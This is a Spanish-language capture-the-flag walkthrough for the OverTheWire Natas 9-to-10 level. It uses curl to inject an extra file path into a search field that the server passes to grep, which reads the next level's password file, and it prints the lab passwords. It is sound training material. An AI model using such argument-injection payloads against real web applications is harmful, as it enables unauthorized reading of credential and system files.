OverTheWire - Natas 9 -> 10 (sin navegador)
August 2022
Información
Las contraseñas cambian cada cierto tiempo, existe la posibilidad de que esta contraseña ya no sea válida
Username: natas10
Password: nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
URL: http://natas10.natas.labs.overthewire.org
Solución
Primero ejecutamos el comando curl con el parámetro -u
para indicar las credenciales.
curl -u natas10:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu http://natas10.natas.labs.overthewire.org/
Vemos que existe un buscado y su código fuente que se almacena en index-source.html
.
Si vamos al archivo no podremos ver nada.
curl -u natas10:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu http://natas10.natas.labs.overthewire.org/index-source.html
Esto se soluciona instalando la herramienta html2text
con el comando sudo apt install html2text
.
curl -u natas10:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu http://natas10.natas.labs.overthewire.org/index-source.html | html2text
Se está haciendo una lista negra con los carácteres ; | &
, es decir, si escribimos estos carácteres en la búsqueda la página nos dará un error.
Lo que ingresemos en la búsqueda se guardará en la variable $key
y se agregará al comando grep.
Para resolver este reto y obtener la contraseña primero debemos entender cómo funciona el comando grep.
Tenemos un archivo llamado archivo1.txt
que tiene la palabra hola!
.
Y otro archivo llamado archivo2.txt
que contiene la palabra chao!
.
Si buscamos la letra a
con el comando grep sobre ambos archivo obtenemos las palabras enteras, y grep nos indica el nombre del archivo al que pertece cada palabra.
grep -i a archivo1.txt archivo2.txt
Esta parte marcada en rojo es la que nosotros controlamos en la búsqueda de la página.
Si buscamos una letra que no aparece en ningún archivo, entonces no nos mostrará nada. Lo mismo si filtramos una letra que aparece solo en un archivo.
Con esto en mente filtraremos por la letra a
, y agregaremos el archivo /etc/natas_webpass/natas11
que contiene la contraseña para el siguiente nivel.
curl -u natas10:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu http://natas10.natas.labs.overthewire.org/ -d 'needle=a /etc/natas_webpass/natas11&submit=hola'
Pero lo página nos muestra mucho texto. Enviaremos todo este output hacia un archivo cualquiera con el nombre natas10.txt
.
curl -u natas10:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu http://natas10.natas.labs.overthewire.org/ -d 'needle=a /etc/natas_webpass/natas11&submit=hola' > natas10.txt
Y ejecutaremos el comando head para observar solo las primeras lineas de la respuesta.
head -n 30 natas10.txt
Notamos que en la respuesta no se encuentra la contraseña de natas11, esto es porque la contraseña no contiene la letra a
. Seguiremos reemplazando la letra en nuestro comando de curl, hasta que nos devuelva la contraseña.
Realizamos el mismo procedimiento pero cambiamos la letra a
por una b
.
curl -u natas10:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu http://natas10.natas.labs.overthewire.org/ -d 'needle=b /etc/natas_webpass/natas11&submit=hola' > natas10.txt
Nuevamente no vemos nada porque lo contraseña de natas11 no contiene la letra b
.
head -n 30 natas10.txt
Realizamos el mismo procedimiento pero cambiamos la letra b
por la letra c
.
curl -u natas10:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu http://natas10.natas.labs.overthewire.org/ -d 'needle=c /etc/natas_webpass/natas11&submit=hola' > natas10.txt
Ejecutamos el comando head y esta vez sí vemos la contraseña de natas11.
head -n 30 natas10.txt
Contraseña
U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK